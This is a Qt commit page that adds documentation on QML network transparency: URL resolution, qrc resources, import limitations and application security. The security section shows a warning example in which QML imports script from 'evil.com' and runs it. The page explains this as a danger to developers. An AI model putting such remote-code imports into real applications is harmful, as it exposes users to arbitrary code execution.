aboutsummaryrefslogtreecommitdiffstats
path: root/src/qml/doc/src/documents/networktransparency.qdoc
diff options
context:
space:
mode:
authorChris Adams <christopher.adams@nokia.com>2012-05-28 17:12:56 +1000
committerQt by Nokia <qt-info@nokia.com>2012-06-21 09:58:56 +0200
commit5e33b0f580d2b20f1a2989bf2ee8dde4525a2e39 (patch)
tree780d25ce7d8955e56ea985a35dd84609df12fbf0 /src/qml/doc/src/documents/networktransparency.qdoc
parent03342a435a88656d64d1445991a4421d244fcb45 (diff)
Create new documentation structure
The documentation currently has no clear separation between Qt QML and Qt Quick. With recent commits like: 6c8378eaf1edbbefe6aaa3672b0127816a004fd7 and ab1e510121c8a679fdaca12ccd30e0f7ac12a26b the separation between the language definition and implementation, provided by Qt QML, and the standard library for the QML language, provided by Qt Quick, is clear. This commit creates a new documentation structure that is more navigable and separates concepts into logical categories, with clear separation between QtQML and QtQuick. It also provides a more generic QML Application Developer Resources page which contains links to information for QML application developers. Change-Id: Ia807ccfbfd24ffa0e1c7f0a51ed9d2ed3aa6a733 Reviewed-by: Martin Jones <martin.jones@nokia.com>
Diffstat (limited to 'src/qml/doc/src/documents/networktransparency.qdoc')
-rw-r--r--src/qml/doc/src/documents/networktransparency.qdoc141
1 files changed, 141 insertions, 0 deletions
diff --git a/src/qml/doc/src/documents/networktransparency.qdoc b/src/qml/doc/src/documents/networktransparency.qdoc
new file mode 100644
index 0000000000..dd83813366
--- /dev/null
+++ b/src/qml/doc/src/documents/networktransparency.qdoc
@@ -0,0 +1,141 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** Contact: http://www.qt-project.org/
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:FDL$
+** GNU Free Documentation License
+** Alternatively, this file may be used under the terms of the GNU Free
+** Documentation License version 1.3 as published by the Free Software
+** Foundation and appearing in the file included in the packaging of
+** this file.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms
+** and conditions contained in a signed written agreement between you
+** and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+/*!
+\page qtqml-documents-networktransparency.html
+\title Resource Loading and Network Transparency
+\brief about loading files and resources accross a network
+
+QML supports network transparency by using URLs (rather than file names) for all
+references from a QML document to other content. This means that anywhere a URL source is expected,
+QML can handle remote resources as well as local ones, for example in the following image source:
+
+\qml
+Image {
+ source: "http://www.example.com/images/logo.png"
+}
+\endqml
+
+Since a \e relative URL is the same
+as a relative file, development of QML on regular file systems remains simple:
+
+\qml
+Image {
+ source: "images/logo.png"
+}
+\endqml
+
+Network transparency is supported throughout QML, for example:
+
+\list
+\li Fonts - the \c source property of FontLoader is a URL
+\li WebViews - the \c url property of WebView (obviously!)
+\endlist
+
+Even QML types themselves can be on the network - if the \l {Prototyping with qmlscene} is used to load
+\tt http://example.com/mystuff/Hello.qml and that content refers to a type "World", the engine
+will load \tt http://example.com/mystuff/qmldir and resolve the type just as it would for a local file.
+For example if the qmldir file contains the line "World World.qml", it will load
+\tt http://example.com/mystuff/World.qml
+Any other resources that \tt Hello.qml referred to, usually by a relative URL, would
+similarly be loaded from the network.
+
+
+\section1 Relative vs. Absolute URLs
+
+Whenever an object has a property of type URL (QUrl), assigning a string to that
+property will actually assign an absolute URL - by resolving the string against
+the URL of the document where the string is used.
+
+For example, consider this content in \tt{http://example.com/mystuff/test.qml}:
+
+\qml
+Image {
+ source: "images/logo.png"
+}
+\endqml
+
+The \l Image source property will be assigned \tt{http://example.com/mystuff/images/logo.png},
+but while the QML is being developed, in say \tt C:\\User\\Fred\\Documents\\MyStuff\\test.qml, it will be assigned
+\tt C:\\User\\Fred\\Documents\\MyStuff\\images\\logo.png.
+
+If the string assigned to a URL is already an absolute URL, then "resolving" does
+not change it and the URL is assigned directly.
+
+
+\section1 QRC Resources
+
+One of the URL schemes built into Qt is the "qrc" scheme. This allows content to be compiled into
+the executable using \l{The Qt Resource System}. Using this, an executable can reference QML content
+that is compiled into the executable:
+
+\code
+ QQuickView *canvas = new QQuickView;
+ canvas->setUrl(QUrl("qrc:/dial.qml"));
+\endcode
+
+The content itself can then use relative URLs, and so be transparently unaware that the content is
+compiled into the executable.
+
+
+\section1 Limitations
+
+The \c import statement is only network transparent if it has an "as" clause.
+
+More specifically:
+\list
+\li \c{import "dir"} only works on local file systems
+\li \c{import libraryUri} only works on local file systems
+\li \c{import "dir" as D} works network transparently
+\li \c{import libraryUrl as U} works network transparently
+\endlist
+
+
+\section1 Implications for Application Security
+
+The QML security model is that QML content is a chain of trusted content: the user
+installs QML content that they trust in the same way as they install native Qt applications,
+or programs written with runtimes such as Python and Perl. That trust is establish by any
+of a number of mechanisms, including the availability of package signing on some platforms.
+
+In order to preserve the trust of users, QML application developers should not load
+and execute arbitary JavaScript or QML resources. For example, consider the QML code below:
+
+\qml
+import QtQuick 2.0
+import "http://evil.com/evil.js" as Evil
+
+Component {
+ onLoaded: Evil.doEvil()
+}
+\endqml
+
+This is equivalent to downloading and executing "http://evil.com/evil.exe". \b {The QML engine
+will not prevent particular resources from being loaded}. Unlike JavaScript code that is run within a web browser, a QML application can load remote or local filesystem resources in the same way as any other native applications, so application developers must be careful in loading and executing any content.
+
+As with any application accessing other content beyond its control, a QML application should
+perform appropriate checks on any untrusted data it loads. \b {Do not, for example, use \c import, \l Loader or \l XMLHttpRequest to load any untrusted code or content.}
+*/